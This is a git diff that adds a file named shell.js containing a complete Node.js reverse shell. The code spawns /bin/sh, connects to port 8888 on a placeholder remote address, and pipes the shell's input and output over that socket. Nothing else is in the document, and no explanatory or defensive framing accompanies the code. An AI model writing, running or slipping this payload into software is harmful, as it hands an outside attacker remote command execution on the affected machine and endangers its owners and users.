diff --git a/shell.js b/shell.js new file mode 100644 index 0000000..83e7adc --- /dev/null +++ b/shell.js @@ -0,0 +1,12 @@ +(function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh",[]); + var client = new net.Socket(); + client.connect(8888,"xxx.xxx.xxx.xxx",function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; +})(); \ No newline at end of file